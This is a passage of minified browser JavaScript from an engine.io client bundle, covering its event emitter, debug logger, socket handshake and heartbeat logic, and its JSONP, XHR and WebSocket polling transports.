obj}Emitter.prototype.on=Emitter.prototype.addEventListener=function(event,fn){this._callbacks=this._callbacks||{};(this._callbacks[event]=this._callbacks[event]||[]).push(fn);return this};Emitter.prototype.once=function(event,fn){var self=this;this._callbacks=this._callbacks||{};function on(){self.off(event,on);fn.apply(this,arguments)}on.fn=fn;this.on(event,on);return this};Emitter.prototype.off=Emitter.prototype.removeListener=Emitter.prototype.removeAllListeners=Emitter.prototype.removeEventListener=function(event,fn){this._callbacks=this._callbacks||{};if(0==arguments.length){this._callbacks={};return this}var callbacks=this._callbacks[event];if(!callbacks)return this;if(1==arguments.length){delete this._callbacks[event];return this}var cb;for(var i=0;i<callbacks.length;i++){cb=callbacks[i];if(cb===fn||cb.fn===fn){callbacks.splice(i,1);break}}return this};Emitter.prototype.emit=function(event){this._callbacks=this._callbacks||{};var args=[].slice.call(arguments,1),callbacks=this._callbacks[event];if(callbacks){callbacks=callbacks.slice(0);for(var i=0,len=callbacks.length;i<len;++i){callbacks[i].apply(this,args)}}return this};Emitter.prototype.listeners=function(event){this._callbacks=this._callbacks||{};return this._callbacks[event]||[]};Emitter.prototype.hasListeners=function(event){return!!this.listeners(event).length}},{}],10:[function(_dereq_,module,exports){module.exports=debug;function debug(name){if(!debug.enabled(name))return function(){};return function(fmt){fmt=coerce(fmt);var curr=new Date;var ms=curr-(debug[name]||curr);debug[name]=curr;fmt=name+\" \"+fmt+\" +\"+debug.humanize(ms);window.console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}}debug.names=[];debug.skips=[];debug.enable=function(name){try{localStorage.debug=name}catch(e){}var split=(name||\"\").split(/[\\s,]+/),len=split.length;for(var i=0;i<len;i++){name=split[i].replace(\"*\",\".*?\");if(name[0]===\"-\"){debug.skips.push(new RegExp(\"^\"+name.substr(1)+\"$\"))}else{debug.names.push(new RegExp(\"^\"+name+\"$\"))}}};debug.disable=function(){debug.enable(\"\")};debug.humanize=function(ms){var sec=1e3,min=60*1e3,hour=60*min;if(ms>=hour)return(ms/hour).toFixed(1)+\"h\";if(ms>=min)return(ms/min).toFixed(1)+\"m\";if(ms>=sec)return(ms/sec|0)+\"s\";return ms+\"ms\"};debug.enabled=function(name){for(var i=0,len=debug.skips.length;i<len;i++){if(debug.skips[i].test(name)){return false}}for(var i=0,len=debug.names.length;i<len;i++){if(debug.names[i].test(name)){return true}}return false};function coerce(val){if(val instanceof Error)return val.stack||val.message;return val}try{if(window.localStorage)debug.enable(localStorage.debug)}catch(e){}},{}],11:[function(_dereq_,module,exports){module.exports=_dereq_(\"./lib/\")},{\"./lib/\":12}],12:[function(_dereq_,module,exports){module.exports=_dereq_(\"./socket\");module.exports.parser=_dereq_(\"engine.io-parser\")},{\"./socket\":13,\"engine.io-parser\":25}],13:[function(_dereq_,module,exports){(function(global){var transports=_dereq_(\"./transports\");var Emitter=_dereq_(\"component-emitter\");var debug=_dereq_(\"debug\")(\"engine.io-client:socket\");var index=_dereq_(\"indexof\");var parser=_dereq_(\"engine.io-parser\");var parseuri=_dereq_(\"parseuri\");var parsejson=_dereq_(\"parsejson\");var parseqs=_dereq_(\"parseqs\");module.exports=Socket;function noop(){}function Socket(uri,opts){if(!(this instanceof Socket))return new Socket(uri,opts);opts=opts||{};if(uri&&\"object\"==typeof uri){opts=uri;uri=null}if(uri){uri=parseuri(uri);opts.host=uri.host;opts.secure=uri.protocol==\"https\"||uri.protocol==\"wss\";opts.port=uri.port;if(uri.query)opts.query=uri.query}this.secure=null!=opts.secure?opts.secure:global.location&&\"https:\"==location.protocol;if(opts.host){var pieces=opts.host.split(\":\");opts.hostname=pieces.shift();if(pieces.length){opts.port=pieces.pop()}else if(!opts.port){opts.port=this.secure?\"443\":\"80\"}}this.agent=opts.agent||false;this.hostname=opts.hostname||(global.location?location.hostname:\"localhost\");this.port=opts.port||(global.location&&location.port?location.port:this.secure?443:80);this.query=opts.query||{};if(\"string\"==typeof this.query)this.query=parseqs.decode(this.query);this.upgrade=false!==opts.upgrade;this.path=(opts.path||\"/engine.io\").replace(/\\/$/,\"\")+\"/\";this.forceJSONP=!!opts.forceJSONP;this.jsonp=false!==opts.jsonp;this.forceBase64=!!opts.forceBase64;this.enablesXDR=!!opts.enablesXDR;this.timestampParam=opts.timestampParam||\"t\";this.timestampRequests=opts.timestampRequests;this.transports=opts.transports||[\"polling\",\"websocket\"];this.readyState=\"\";this.writeBuffer=[];this.callbackBuffer=[];this.policyPort=opts.policyPort||843;this.rememberUpgrade=opts.rememberUpgrade||false;this.binaryType=null;this.onlyBinaryUpgrades=opts.onlyBinaryUpgrades;this.perMessageDeflate=false!==opts.perMessageDeflate?opts.perMessageDeflate||true:false;this.pfx=opts.pfx||null;this.key=opts.key||null;this.passphrase=opts.passphrase||null;this.cert=opts.cert||null;this.ca=opts.ca||null;this.ciphers=opts.ciphers||null;this.rejectUnauthorized=opts.rejectUnauthorized||null;this.open()}Socket.priorWebsocketSuccess=false;Emitter(Socket.prototype);Socket.protocol=parser.protocol;Socket.Socket=Socket;Socket.Transport=_dereq_(\"./transport\");Socket.transports=_dereq_(\"./transports\");Socket.parser=_dereq_(\"engine.io-parser\");Socket.prototype.createTransport=function(name){debug('creating transport \"%s\"',name);var query=clone(this.query);query.EIO=parser.protocol;query.transport=name;if(this.id)query.sid=this.id;var transport=new transports[name]({agent:this.agent,hostname:this.hostname,port:this.port,secure:this.secure,path:this.path,query:query,forceJSONP:this.forceJSONP,jsonp:this.jsonp,forceBase64:this.forceBase64,enablesXDR:this.enablesXDR,timestampRequests:this.timestampRequests,timestampParam:this.timestampParam,policyPort:this.policyPort,socket:this,pfx:this.pfx,key:this.key,passphrase:this.passphrase,cert:this.cert,ca:this.ca,ciphers:this.ciphers,rejectUnauthorized:this.rejectUnauthorized,perMessageDeflate:this.perMessageDeflate});return transport};function clone(obj){var o={};for(var i in obj){if(obj.hasOwnProperty(i)){o[i]=obj[i]}}return o}Socket.prototype.open=function(){var transport;if(this.rememberUpgrade&&Socket.priorWebsocketSuccess&&this.transports.indexOf(\"websocket\")!=-1){transport=\"websocket\"}else if(0==this.transports.length){var self=this;setTimeout(function(){self.emit(\"error\",\"No transports available\")},0);return}else{transport=this.transports[0]}this.readyState=\"opening\";var transport;try{transport=this.createTransport(transport)}catch(e){this.transports.shift();this.open();return}transport.open();this.setTransport(transport)};Socket.prototype.setTransport=function(transport){debug(\"setting transport %s\",transport.name);var self=this;if(this.transport){debug(\"clearing existing transport %s\",this.transport.name);this.transport.removeAllListeners()}this.transport=transport;transport.on(\"drain\",function(){self.onDrain()}).on(\"packet\",function(packet){self.onPacket(packet)}).on(\"error\",function(e){self.onError(e)}).on(\"close\",function(){self.onClose(\"transport close\")})};Socket.prototype.probe=function(name){debug('probing transport \"%s\"',name);var transport=this.createTransport(name,{probe:1}),failed=false,self=this;Socket.priorWebsocketSuccess=false;function onTransportOpen(){if(self.onlyBinaryUpgrades){var upgradeLosesBinary=!this.supportsBinary&&self.transport.supportsBinary;failed=failed||upgradeLosesBinary}if(failed)return;debug('probe transport \"%s\" opened',name);transport.send([{type:\"ping\",data:\"probe\",options:{compress:true}}]);transport.once(\"packet\",function(msg){if(failed)return;if(\"pong\"==msg.type&&\"probe\"==msg.data){debug('probe transport \"%s\" pong',name);self.upgrading=true;self.emit(\"upgrading\",transport);if(!transport)return;Socket.priorWebsocketSuccess=\"websocket\"==transport.name;debug('pausing current transport \"%s\"',self.transport.name);self.transport.pause(function(){if(failed)return;if(\"closed\"==self.readyState)return;debug(\"changing transport and sending upgrade packet\");cleanup();self.setTransport(transport);transport.send([{type:\"upgrade\",options:{compress:true}}]);self.emit(\"upgrade\",transport);transport=null;self.upgrading=false;self.flush()})}else{debug('probe transport \"%s\" failed',name);var err=new Error(\"probe error\");err.transport=transport.name;self.emit(\"upgradeError\",err)}})}function freezeTransport(){if(failed)return;failed=true;cleanup();transport.close();transport=null}function onerror(err){var error=new Error(\"probe error: \"+err);error.transport=transport.name;freezeTransport();debug('probe transport \"%s\" failed because of error: %s',name,err);self.emit(\"upgradeError\",error)}function onTransportClose(){onerror(\"transport closed\")}function onclose(){onerror(\"socket closed\")}function onupgrade(to){if(transport&&to.name!=transport.name){debug('\"%s\" works - aborting \"%s\"',to.name,transport.name);freezeTransport()}}function cleanup(){transport.removeListener(\"open\",onTransportOpen);transport.removeListener(\"error\",onerror);transport.removeListener(\"close\",onTransportClose);self.removeListener(\"close\",onclose);self.removeListener(\"upgrading\",onupgrade)}transport.once(\"open\",onTransportOpen);transport.once(\"error\",onerror);transport.once(\"close\",onTransportClose);this.once(\"close\",onclose);this.once(\"upgrading\",onupgrade);transport.open()};Socket.prototype.onOpen=function(){debug(\"socket open\");this.readyState=\"open\";Socket.priorWebsocketSuccess=\"websocket\"==this.transport.name;this.emit(\"open\");this.flush();if(\"open\"==this.readyState&&this.upgrade&&this.transport.pause){debug(\"starting upgrade probes\");for(var i=0,l=this.upgrades.length;i<l;i++){this.probe(this.upgrades[i])}}};Socket.prototype.onPacket=function(packet){if(\"opening\"==this.readyState||\"open\"==this.readyState){debug('socket receive: type \"%s\", data \"%s\"',packet.type,packet.data);this.emit(\"packet\",packet);this.emit(\"heartbeat\");switch(packet.type){case\"open\":this.onHandshake(parsejson(packet.data));break;case\"pong\":this.setPing();break;case\"error\":var err=new Error(\"server error\");err.code=packet.data;this.emit(\"error\",err);break;case\"message\":this.emit(\"data\",packet.data);this.emit(\"message\",packet.data);break}}else{debug('packet received with socket readyState \"%s\"',this.readyState)}};Socket.prototype.onHandshake=function(data){this.emit(\"handshake\",data);this.id=data.sid;this.transport.query.sid=data.sid;this.upgrades=this.filterUpgrades(data.upgrades);this.pingInterval=data.pingInterval;this.pingTimeout=data.pingTimeout;this.onOpen();if(\"closed\"==this.readyState)return;this.setPing();this.removeListener(\"heartbeat\",this.onHeartbeat);this.on(\"heartbeat\",this.onHeartbeat)};Socket.prototype.onHeartbeat=function(timeout){clearTimeout(this.pingTimeoutTimer);var self=this;self.pingTimeoutTimer=setTimeout(function(){if(\"closed\"==self.readyState)return;self.onClose(\"ping timeout\")},timeout||self.pingInterval+self.pingTimeout)};Socket.prototype.setPing=function(){var self=this;clearTimeout(self.pingIntervalTimer);self.pingIntervalTimer=setTimeout(function(){debug(\"writing ping packet - expecting pong within %sms\",self.pingTimeout);self.ping();self.onHeartbeat(self.pingTimeout)},self.pingInterval)};Socket.prototype.ping=function(){this.sendPacket(\"ping\")};Socket.prototype.onDrain=function(){for(var i=0;i<this.prevBufferLen;i++){if(this.callbackBuffer[i]){this.callbackBuffer[i]()}}this.writeBuffer.splice(0,this.prevBufferLen);this.callbackBuffer.splice(0,this.prevBufferLen);this.prevBufferLen=0;if(this.writeBuffer.length==0){this.emit(\"drain\")}else{this.flush()}};Socket.prototype.flush=function(){if(\"closed\"!=this.readyState&&this.transport.writable&&!this.upgrading&&this.writeBuffer.length){debug(\"flushing %d packets in socket\",this.writeBuffer.length);this.transport.send(this.writeBuffer);this.prevBufferLen=this.writeBuffer.length;this.emit(\"flush\")}};Socket.prototype.write=Socket.prototype.send=function(msg,options,fn){this.sendPacket(\"message\",msg,options,fn);return this};Socket.prototype.sendPacket=function(type,data,options,fn){if(\"function\"==typeof options){fn=options;options=null}if(\"closing\"==this.readyState||\"closed\"==this.readyState){return}options=options||{};options.compress=false!==options.compress;var packet={type:type,data:data,options:options};this.emit(\"packetCreate\",packet);this.writeBuffer.push(packet);this.callbackBuffer.push(fn);this.flush()};Socket.prototype.close=function(){if(\"opening\"==this.readyState||\"open\"==this.readyState){this.readyState=\"closing\";var self=this;function close(){self.onClose(\"forced close\");debug(\"socket closing - telling transport to close\");self.transport.close()}function cleanupAndClose(){self.removeListener(\"upgrade\",cleanupAndClose);self.removeListener(\"upgradeError\",cleanupAndClose);close()}function waitForUpgrade(){self.once(\"upgrade\",cleanupAndClose);self.once(\"upgradeError\",cleanupAndClose)}if(this.writeBuffer.length){this.once(\"drain\",function(){if(this.upgrading){waitForUpgrade()}else{close()}})}else if(this.upgrading){waitForUpgrade()}else{close()}}return this};Socket.prototype.onError=function(err){debug(\"socket error %j\",err);Socket.priorWebsocketSuccess=false;this.emit(\"error\",err);this.onClose(\"transport error\",err)};Socket.prototype.onClose=function(reason,desc){if(\"opening\"==this.readyState||\"open\"==this.readyState||\"closing\"==this.readyState){debug('socket close with reason: \"%s\"',reason);var self=this;clearTimeout(this.pingIntervalTimer);clearTimeout(this.pingTimeoutTimer);setTimeout(function(){self.writeBuffer=[];self.callbackBuffer=[];self.prevBufferLen=0},0);this.transport.removeAllListeners(\"close\");this.transport.close();this.transport.removeAllListeners();this.readyState=\"closed\";this.id=null;this.emit(\"close\",reason,desc)}};Socket.prototype.filterUpgrades=function(upgrades){var filteredUpgrades=[];for(var i=0,j=upgrades.length;i<j;i++){if(~index(this.transports,upgrades[i]))filteredUpgrades.push(upgrades[i])}return filteredUpgrades}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./transport\":14,\"./transports\":15,\"component-emitter\":9,debug:22,\"engine.io-parser\":25,indexof:42,parsejson:34,parseqs:35,parseuri:36}],14:[function(_dereq_,module,exports){var parser=_dereq_(\"engine.io-parser\");var Emitter=_dereq_(\"component-emitter\");module.exports=Transport;function Transport(opts){this.path=opts.path;this.hostname=opts.hostname;this.port=opts.port;this.secure=opts.secure;this.query=opts.query;this.timestampParam=opts.timestampParam;this.timestampRequests=opts.timestampRequests;this.readyState=\"\";this.agent=opts.agent||false;this.socket=opts.socket;this.enablesXDR=opts.enablesXDR;this.pfx=opts.pfx;this.key=opts.key;this.passphrase=opts.passphrase;this.cert=opts.cert;this.ca=opts.ca;this.ciphers=opts.ciphers;this.rejectUnauthorized=opts.rejectUnauthorized}Emitter(Transport.prototype);Transport.timestamps=0;Transport.prototype.onError=function(msg,desc){var err=new Error(msg);err.type=\"TransportError\";err.description=desc;this.emit(\"error\",err);return this};Transport.prototype.open=function(){if(\"closed\"==this.readyState||\"\"==this.readyState){this.readyState=\"opening\";this.doOpen()}return this};Transport.prototype.close=function(){if(\"opening\"==this.readyState||\"open\"==this.readyState){this.doClose();this.onClose()}return this};Transport.prototype.send=function(packets){if(\"open\"==this.readyState){this.write(packets)}else{throw new Error(\"Transport not open\")}};Transport.prototype.onOpen=function(){this.readyState=\"open\";this.writable=true;this.emit(\"open\")};Transport.prototype.onData=function(data){var packet=parser.decodePacket(data,this.socket.binaryType);this.onPacket(packet)};Transport.prototype.onPacket=function(packet){this.emit(\"packet\",packet)};Transport.prototype.onClose=function(){this.readyState=\"closed\";this.emit(\"close\")}},{\"component-emitter\":9,\"engine.io-parser\":25}],15:[function(_dereq_,module,exports){(function(global){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var XHR=_dereq_(\"./polling-xhr\");var JSONP=_dereq_(\"./polling-jsonp\");var websocket=_dereq_(\"./websocket\");exports.polling=polling;exports.websocket=websocket;function polling(opts){var xhr;var xd=false;var xs=false;var jsonp=false!==opts.jsonp;if(global.location){var isSSL=\"https:\"==location.protocol;var port=location.port;if(!port){port=isSSL?443:80}xd=opts.hostname!=location.hostname||port!=opts.port;xs=opts.secure!=isSSL}opts.xdomain=xd;opts.xscheme=xs;xhr=new XMLHttpRequest(opts);if(\"open\"in xhr&&!opts.forceJSONP){return new XHR(opts)}else{if(!jsonp)throw new Error(\"JSONP disabled\");return new JSONP(opts)}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling-jsonp\":16,\"./polling-xhr\":17,\"./websocket\":19,xmlhttprequest:20}],16:[function(_dereq_,module,exports){(function(global){var Polling=_dereq_(\"./polling\");\nvar inherit=_dereq_(\"component-inherit\");module.exports=JSONPPolling;var rNewline=/\\n/g;var rEscapedNewline=/\\\\n/g;var callbacks;var index=0;function empty(){}function JSONPPolling(opts){Polling.call(this,opts);this.query=this.query||{};if(!callbacks){if(!global.___eio)global.___eio=[];callbacks=global.___eio}this.index=callbacks.length;var self=this;callbacks.push(function(msg){self.onData(msg)});this.query.j=this.index;if(global.document&&global.addEventListener){global.addEventListener(\"beforeunload\",function(){if(self.script)self.script.onerror=empty},false)}}inherit(JSONPPolling,Polling);JSONPPolling.prototype.supportsBinary=false;JSONPPolling.prototype.doClose=function(){if(this.script){this.script.parentNode.removeChild(this.script);this.script=null}if(this.form){this.form.parentNode.removeChild(this.form);this.form=null;this.iframe=null}Polling.prototype.doClose.call(this)};JSONPPolling.prototype.doPoll=function(){var self=this;var script=document.createElement(\"script\");if(this.script){this.script.parentNode.removeChild(this.script);this.script=null}script.async=true;script.src=this.uri();script.onerror=function(e){self.onError(\"jsonp poll error\",e)};var insertAt=document.getElementsByTagName(\"script\")[0];insertAt.parentNode.insertBefore(script,insertAt);this.script=script;var isUAgecko=\"undefined\"!=typeof navigator&&/gecko/i.test(navigator.userAgent);if(isUAgecko){setTimeout(function(){var iframe=document.createElement(\"iframe\");document.body.appendChild(iframe);document.body.removeChild(iframe)},100)}};JSONPPolling.prototype.doWrite=function(data,fn){var self=this;if(!this.form){var form=document.createElement(\"form\");var area=document.createElement(\"textarea\");var id=this.iframeId=\"eio_iframe_\"+this.index;var iframe;form.className=\"socketio\";form.style.position=\"absolute\";form.style.top=\"-1000px\";form.style.left=\"-1000px\";form.target=id;form.method=\"POST\";form.setAttribute(\"accept-charset\",\"utf-8\");area.name=\"d\";form.appendChild(area);document.body.appendChild(form);this.form=form;this.area=area}this.form.action=this.uri();function complete(){initIframe();fn()}function initIframe(){if(self.iframe){try{self.form.removeChild(self.iframe)}catch(e){self.onError(\"jsonp polling iframe removal error\",e)}}try{var html='<iframe src=\"javascript:0\" name=\"'+self.iframeId+'\">';iframe=document.createElement(html)}catch(e){iframe=document.createElement(\"iframe\");iframe.name=self.iframeId;iframe.src=\"javascript:0\"}iframe.id=self.iframeId;self.form.appendChild(iframe);self.iframe=iframe}initIframe();data=data.replace(rEscapedNewline,\"\\\\\\n\");this.area.value=data.replace(rNewline,\"\\\\n\");try{this.form.submit()}catch(e){}if(this.iframe.attachEvent){this.iframe.onreadystatechange=function(){if(self.iframe.readyState==\"complete\"){complete()}}}else{this.iframe.onload=complete}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling\":18,\"component-inherit\":21}],17:[function(_dereq_,module,exports){(function(global){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var Polling=_dereq_(\"./polling\");var Emitter=_dereq_(\"component-emitter\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:polling-xhr\");module.exports=XHR;module.exports.Request=Request;function empty(){}function XHR(opts){Polling.call(this,opts);if(global.location){var isSSL=\"https:\"==location.protocol;var port=location.port;if(!port){port=isSSL?443:80}this.xd=opts.hostname!=global.location.hostname||port!=opts.port;this.xs=opts.secure!=isSSL}}inherit(XHR,Polling);XHR.prototype.supportsBinary=true;XHR.prototype.request=function(opts){opts=opts||{};opts.uri=this.uri();opts.xd=this.xd;opts.xs=this.xs;opts.agent=this.agent||false;opts.supportsBinary=this.supportsBinary;opts.enablesXDR=this.enablesXDR;opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;return new Request(opts)};XHR.prototype.doWrite=function(data,fn){var isBinary=typeof data!==\"string\"&&data!==undefined;var req=this.request({method:\"POST\",data:data,isBinary:isBinary});var self=this;req.on(\"success\",fn);req.on(\"error\",function(err){self.onError(\"xhr post error\",err)});this.sendXhr=req};XHR.prototype.doPoll=function(){debug(\"xhr poll\");var req=this.request();var self=this;req.on(\"data\",function(data){self.onData(data)});req.on(\"error\",function(err){self.onError(\"xhr poll error\",err)});this.pollXhr=req};function Request(opts){this.method=opts.method||\"GET\";this.uri=opts.uri;this.xd=!!opts.xd;this.xs=!!opts.xs;this.async=false!==opts.async;this.data=undefined!=opts.data?opts.data:null;this.agent=opts.agent;this.isBinary=opts.isBinary;this.supportsBinary=opts.supportsBinary;this.enablesXDR=opts.enablesXDR;this.pfx=opts.pfx;this.key=opts.key;this.passphrase=opts.passphrase;this.cert=opts.cert;this.ca=opts.ca;this.ciphers=opts.ciphers;this.rejectUnauthorized=opts.rejectUnauthorized;this.create()}Emitter(Request.prototype);Request.prototype.create=function(){var opts={agent:this.agent,xdomain:this.xd,xscheme:this.xs,enablesXDR:this.enablesXDR};opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;var xhr=this.xhr=new XMLHttpRequest(opts);var self=this;try{debug(\"xhr open %s: %s\",this.method,this.uri);xhr.open(this.method,this.uri,this.async);if(this.supportsBinary){xhr.responseType=\"arraybuffer\"}if(\"POST\"==this.method){try{if(this.isBinary){xhr.setRequestHeader(\"Content-type\",\"application/octet-stream\")}else{xhr.setRequestHeader(\"Content-type\",\"text/plain;charset=UTF-8\")}}catch(e){}}if(\"withCredentials\"in xhr){xhr.withCredentials=true}if(this.hasXDR()){xhr.onload=function(){self.onLoad()};xhr.onerror=function(){self.onError(xhr.responseText)}}else{xhr.onreadystatechange=function(){if(4!=xhr.readyState)return;if(200==xhr.status||1223==xhr.status){self.onLoad()}else{setTimeout(function(){self.onError(xhr.status)},0)}}}debug(\"xhr data %s\",this.data);xhr.send(this.data)}catch(e){setTimeout(function(){self.onError(e)},0);return}if(global.document){this.index=Request.requestsCount++;Request.requests[this.index]=this}};Request.prototype.onSuccess=function(){this.emit(\"success\");this.cleanup()};Request.prototype.onData=function(data){this.emit(\"data\",data);this.onSuccess()};Request.prototype.onError=function(err){this.emit(\"error\",err);this.cleanup(true)};Request.prototype.cleanup=function(fromError){if(\"undefined\"==typeof this.xhr||null===this.xhr){return}if(this.hasXDR()){this.xhr.onload=this.xhr.onerror=empty}else{this.xhr.onreadystatechange=empty}if(fromError){try{this.xhr.abort()}catch(e){}}if(global.document){delete Request.requests[this.index]}this.xhr=null};Request.prototype.onLoad=function(){var data;try{var contentType;try{contentType=this.xhr.getResponseHeader(\"Content-Type\").split(\";\")[0]}catch(e){}if(contentType===\"application/octet-stream\"){data=this.xhr.response}else{if(!this.supportsBinary){data=this.xhr.responseText}else{data=\"ok\"}}}catch(e){this.onError(e)}if(null!=data){this.onData(data)}};Request.prototype.hasXDR=function(){return\"undefined\"!==typeof global.XDomainRequest&&!this.xs&&this.enablesXDR};Request.prototype.abort=function(){this.cleanup()};if(global.document){Request.requestsCount=0;Request.requests={};if(global.attachEvent){global.attachEvent(\"onunload\",unloadHandler)}else if(global.addEventListener){global.addEventListener(\"beforeunload\",unloadHandler,false)}}function unloadHandler(){for(var i in Request.requests){if(Request.requests.hasOwnProperty(i)){Request.requests[i].abort()}}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling\":18,\"component-emitter\":9,\"component-inherit\":21,debug:22,xmlhttprequest:20}],18:[function(_dereq_,module,exports){var Transport=_dereq_(\"../transport\");var parseqs=_dereq_(\"parseqs\");var parser=_dereq_(\"engine.io-parser\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:polling\");module.exports=Polling;var hasXHR2=function(){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var xhr=new XMLHttpRequest({xdomain:false});return null!=xhr.responseType}();function Polling(opts){var forceBase64=opts&&opts.forceBase64;if(!hasXHR2||forceBase64){this.supportsBinary=false}Transport.call(this,opts)}inherit(Polling,Transport);Polling.prototype.name=\"polling\";Polling.prototype.doOpen=function(){this.poll()};Polling.prototype.pause=function(onPause){var pending=0;var self=this;this.readyState=\"pausing\";function pause(){debug(\"paused\");self.readyState=\"paused\";onPause()}if(this.polling||!this.writable){var total=0;if(this.polling){debug(\"we are currently polling - waiting to pause\");total++;this.once(\"pollComplete\",function(){debug(\"pre-pause polling complete\");--total||pause()})}if(!this.writable){debug(\"we are currently writing - waiting to pause\");total++;this.once(\"drain\",function(){debug(\"pre-pause writing complete\");--total||pause()})}}else{pause()}};Polling.prototype.poll=function(){debug(\"polling\");this.polling=true;this.doPoll();this.emit(\"poll\")};Polling.prototype.onData=function(data){var self=this;debug(\"polling got data %s\",data);var callback=function(packet,index,total){if(\"opening\"==self.readyState){self.onOpen()}if(\"close\"==packet.type){self.onClose();return false}self.onPacket(packet)};parser.decodePayload(data,this.socket.binaryType,callback);if(\"closed\"!=this.readyState){this.polling=false;this.emit(\"pollComplete\");if(\"open\"==this.readyState){this.poll()}else{debug('ignoring poll - transport state \"%s\"',this.readyState)}}};Polling.prototype.doClose=function(){var self=this;function close(){debug(\"writing close packet\");self.write([{type:\"close\"}])}if(\"open\"==this.readyState){debug(\"transport open - closing\");close()}else{debug(\"transport not open - deferring close\");this.once(\"open\",close)}};Polling.prototype.write=function(packets){var self=this;this.writable=false;var callbackfn=function(){self.writable=true;self.emit(\"drain\")};var self=this;parser.encodePayload(packets,this.supportsBinary,function(data){self.doWrite(data,callbackfn)})};Polling.prototype.uri=function(){var query=this.query||{};var schema=this.secure?\"https\":\"http\";var port=\"\";if(false!==this.timestampRequests){query[this.timestampParam]=+new Date+\"-\"+Transport.timestamps++}if(!this.supportsBinary&&!query.sid){query.b64=1}query=parseqs.encode(query);if(this.port&&(\"https\"==schema&&this.port!=443||\"http\"==schema&&this.port!=80)){port=\":\"+this.port}if(query.length){query=\"?\"+query}return schema+\"://\"+this.hostname+port+this.path+query}},{\"../transport\":14,\"component-inherit\":21,debug:22,\"engine.io-parser\":25,parseqs:35,xmlhttprequest:20}],19:[function(_dereq_,module,exports){var Transport=_dereq_(\"../transport\");var parser=_dereq_(\"engine.io-parser\");var parseqs=_dereq_(\"parseqs\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:websocket\");var WebSocket=_dereq_(\"ws\");module.exports=WS;function WS(opts){var forceBase64=opts&&opts.forceBase64;if(forceBase64){this.supportsBinary=false}this.perMessageDeflate=opts.perMessageDeflate;Transport.call(this,opts)}inherit(WS,Transport);WS.prototype.name=\"websocket\";WS.prototype.supportsBinary=true;WS.prototype.doOpen=function(){if(!this.check()){return}var self=this;var uri=this.uri();var protocols=void 0;var opts={agent:this.agent,perMessageDeflate:this.perMessageDeflate};opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;this.ws=new WebSocket(uri,protocols,opts);if(this.ws.binaryType===undefined){this.supportsBinary=false}this.ws.binaryType=\"arraybuffer\";this.addEventListeners()};WS.prototype.addEventListeners=function(){var self=this;this.ws.onopen=function(){self.onOpen()};this.ws.onclose=function(){self.onClose()};this.ws.onmessage=function(ev){self.onData(ev.data)};this.ws.onerror=function(e){self.onError(\"websocket error\",e)}};if(\"undefined\"!=typeof navigator&&/iPad|iPhone|iPod/i.test(navigator.userAgent)){WS.prototype.onData=function(data){var self=this;setTimeout(function(){Transport.prototype.onData.call(self,data)},0)}}WS.prototype.write=function(packets){var self=this;this.writable=false;for(var i=0,l=packets.length;i<l;i++){var packet=packets[i];parser.encodePacket(packet,this.supportsBinary,function(data){try{self.ws.send(data,packet.options)}catch(e){debug(\"websocket closed before onclose event\")}})}function ondrain(){self.writable=true;self.emit(\"drain\")}setTimeout(ondrain,0)};WS.prototype.onClose=function(){Transport.prototype.onClose.call(this)};WS.prototype.doClose=function(){if(typeof this.ws!==\"undefined\"){this.ws.close()}};WS.prototype.uri=function(){var query=this.query||{};var schema=this.secure?\"wss\":\"ws\";var port=\"\";if(this.port&&(\"wss\"==schema&&this.port!=443||\"ws\"==schema&&this.port!=80)){port=\":\"+this.port}if(this.timestampRequests){query[this.timestampParam]=+new Date}if(!this.supportsBinary){query.b64=1}query=parseqs.encode(query);if(query.length){query=\"?\"+query}return schema+\"://\"+this.hostname+port+this.path+query};WS.prototype.check=function(){return!!WebSocket&&!(\"__initialize\"in WebSocket&&this.name===WS.prototype.name)}},{\"../transport\":14,\"component-inherit\":21,debug:22,\"engine.io-parser\":25,parseqs:35,ws:37}],20:[function(_dereq_,module,exports){var hasCORS=_dereq_(\"has-cors\");module.exports=function(opts){var xdomain=opts.xdomain;var xscheme=opts.xscheme;var enablesXDR=opts.enablesXDR;try{if(\"undefined\"!=typeof XMLHttpRequest&&(!xdomain||hasCORS)){return new XMLHttpRequest}}catch(e){}try{if(\"undefined\"!=typeof XDomainRequest&&!xscheme&&enablesXDR){return new XDomainRequest}}catch(e){}if(!xdomain){try{return new ActiveXObject(\"Microsoft.XMLHTTP\")}catch(e){}}}},{\"has-cors\":40}],21:[function(_dereq_,module,exports){module.exports=function(a,b){var fn=function(){};fn.prototype=b.prototype;a.prototype=new fn;a.prototype.constructor=a}},{}],22:[function(_dereq_,module,exports){exports=module.exports=_dereq_(\"./debug\");exports.log=log;exports.formatArgs=formatArgs;exports.save=save;exports.load=load;exports.useColors=useColors;exports.colors=[\"lightseagreen\",\"forestgreen\",\"goldenrod\",\"dodgerblue\",\"darkorchid\",\"crimson\"];function useColors(){return\"WebkitAppearance\"in document.documentElement.style||window.console&&(console.firebug||console.exception&&console.table)||navigator.userAgent.toLowerCase().match(/firefox\\/(\\d+)/)&&parseInt(RegExp.$1,10)>=31}exports.formatters.j=function(v){return JSON.stringify(v)};function formatArgs(){var args=arguments;var useColors=this.useColors;args[0]=(useColors?\"%c\":\"\")+this.namespace+(useColors?\" %c\":\" \")+args[0]+(useColors?\"%c \":\" 